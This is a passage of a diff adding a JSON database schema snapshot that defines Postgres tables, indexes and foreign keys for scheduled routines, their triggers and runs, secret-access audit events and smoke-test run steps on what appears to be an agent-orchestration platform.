+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_runs_company_routine_idx": {
+          "name": "routine_runs_company_routine_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_revision_idx": {
+          "name": "routine_runs_revision_idx",
+          "columns": [
+            {
+              "expression": "routine_revision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_company_responsible_user_idx": {
+          "name": "routine_runs_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_trigger_idx": {
+          "name": "routine_runs_trigger_idx",
+          "columns": [
+            {
+              "expression": "trigger_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_dispatch_fingerprint_idx": {
+          "name": "routine_runs_dispatch_fingerprint_idx",
+          "columns": [
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "dispatch_fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_linked_issue_idx": {
+          "name": "routine_runs_linked_issue_idx",
+          "columns": [
+            {
+              "expression": "linked_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_trigger_idempotency_idx": {
+          "name": "routine_runs_trigger_idempotency_idx",
+          "columns": [
+            {
+              "expression": "trigger_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_runs_company_id_companies_id_fk": {
+          "name": "routine_runs_company_id_companies_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_runs_routine_id_routines_id_fk": {
+          "name": "routine_runs_routine_id_routines_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_runs_trigger_id_routine_triggers_id_fk": {
+          "name": "routine_runs_trigger_id_routine_triggers_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "routine_triggers",
+          "columnsFrom": [
+            "trigger_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_runs_routine_revision_id_routine_revisions_id_fk": {
+          "name": "routine_runs_routine_revision_id_routine_revisions_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "routine_revisions",
+          "columnsFrom": [
+            "routine_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_runs_linked_issue_id_issues_id_fk": {
+          "name": "routine_runs_linked_issue_id_issues_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "linked_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_triggers": {
+      "name": "routine_triggers",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "cron_expression": {
+          "name": "cron_expression",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "timezone": {
+          "name": "timezone",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_run_at": {
+          "name": "next_run_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_fired_at": {
+          "name": "last_fired_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "public_id": {
+          "name": "public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "signing_mode": {
+          "name": "signing_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "replay_window_sec": {
+          "name": "replay_window_sec",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_rotated_at": {
+          "name": "last_rotated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_result": {
+          "name": "last_result",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_triggers_company_routine_idx": {
+          "name": "routine_triggers_company_routine_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_company_kind_idx": {
+          "name": "routine_triggers_company_kind_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_next_run_idx": {
+          "name": "routine_triggers_next_run_idx",
+          "columns": [
+            {
+              "expression": "next_run_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_public_id_idx": {
+          "name": "routine_triggers_public_id_idx",
+          "columns": [
+            {
+              "expression": "public_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_triggers_public_id_uq": {
+          "name": "routine_triggers_public_id_uq",
+          "columns": [
+            {
+              "expression": "public_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_triggers_company_id_companies_id_fk": {
+          "name": "routine_triggers_company_id_companies_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_routine_id_routines_id_fk": {
+          "name": "routine_triggers_routine_id_routines_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_secret_id_company_secrets_id_fk": {
+          "name": "routine_triggers_secret_id_company_secrets_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_created_by_agent_id_agents_id_fk": {
+          "name": "routine_triggers_created_by_agent_id_agents_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_triggers_updated_by_agent_id_agents_id_fk": {
+          "name": "routine_triggers_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "routine_triggers",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routines": {
+      "name": "routines",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "folder_id": {
+          "name": "folder_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_issue_id": {
+          "name": "parent_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_agent_id": {
+          "name": "assignee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "priority": {
+          "name": "priority",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'medium'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "concurrency_policy": {
+          "name": "concurrency_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'coalesce_if_active'"
+        },
+        "catch_up_policy": {
+          "name": "catch_up_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'skip_missed'"
+        },
+        "activity_gate_policy": {
+          "name": "activity_gate_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'always'"
+        },
+        "activity_gate_scope": {
+          "name": "activity_gate_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "origin_kind": {
+          "name": "origin_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'manual'"
+        },
+        "origin_id": {
+          "name": "origin_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "variables": {
+          "name": "variables",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "env": {
+          "name": "env",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_revision_id": {
+          "name": "latest_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_revision_number": {
+          "name": "latest_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_triggered_at": {
+          "name": "last_triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_enqueued_at": {
+          "name": "last_enqueued_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routines_company_status_idx": {
+          "name": "routines_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_assignee_idx": {
+          "name": "routines_company_assignee_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "assignee_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_project_idx": {
+          "name": "routines_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_folder_idx": {
+          "name": "routines_company_folder_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "folder_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_responsible_user_idx": {
+          "name": "routines_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_origin_idx": {
+          "name": "routines_company_origin_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routines_company_id_companies_id_fk": {
+          "name": "routines_company_id_companies_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routines_project_id_projects_id_fk": {
+          "name": "routines_project_id_projects_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routines_folder_id_folders_id_fk": {
+          "name": "routines_folder_id_folders_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "folders",
+          "columnsFrom": [
+            "folder_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_goal_id_goals_id_fk": {
+          "name": "routines_goal_id_goals_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_parent_issue_id_issues_id_fk": {
+          "name": "routines_parent_issue_id_issues_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "parent_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_assignee_agent_id_agents_id_fk": {
+          "name": "routines_assignee_agent_id_agents_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "assignee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "routines_created_by_agent_id_agents_id_fk": {
+          "name": "routines_created_by_agent_id_agents_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_updated_by_agent_id_agents_id_fk": {
+          "name": "routines_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.secret_access_events": {
+      "name": "secret_access_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_secret_definition_id": {
+          "name": "user_secret_definition_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_scope": {
+          "name": "secret_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_owner_user_id": {
+          "name": "credential_owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_subject_type": {
+          "name": "credential_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_subject_id": {
+          "name": "credential_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "consumer_type": {
+          "name": "consumer_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "consumer_id": {
+          "name": "consumer_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "secret_access_events_company_created_idx": {
+          "name": "secret_access_events_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_secret_created_idx": {
+          "name": "secret_access_events_secret_created_idx",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_user_definition_created_idx": {
+          "name": "secret_access_events_user_definition_created_idx",
+          "columns": [
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_company_credential_owner_idx": {
+          "name": "secret_access_events_company_credential_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "credential_owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_consumer_idx": {
+          "name": "secret_access_events_consumer_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "consumer_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "consumer_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_run_idx": {
+          "name": "secret_access_events_run_idx",
+          "columns": [
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "secret_access_events_company_id_companies_id_fk": {
+          "name": "secret_access_events_company_id_companies_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_secret_id_company_secrets_id_fk": {
+          "name": "secret_access_events_secret_id_company_secrets_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_user_secret_definition_id_user_secret_definitions_id_fk": {
+          "name": "secret_access_events_user_secret_definition_id_user_secret_definitions_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "user_secret_definitions",
+          "columnsFrom": [
+            "user_secret_definition_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_issue_id_issues_id_fk": {
+          "name": "secret_access_events_issue_id_issues_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "secret_access_events_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_plugin_id_plugins_id_fk": {
+          "name": "secret_access_events_plugin_id_plugins_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.smoke_run_steps": {
+      "name": "smoke_run_steps",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "path": {
+          "name": "path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scenario_step": {
+          "name": "scenario_step",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "detail": {
+          "name": "detail",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "screenshot_artifact_ref": {
+          "name": "screenshot_artifact_ref",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "duration_ms": {
+          "name": "duration_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "smoke_run_steps_company_run_idx": {
+          "name": "smoke_run_steps_company_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "smoke_run_steps_company_path_idx": {
+          "name": "smoke_run_steps_company_path_idx",
+          "columns": [
+            {
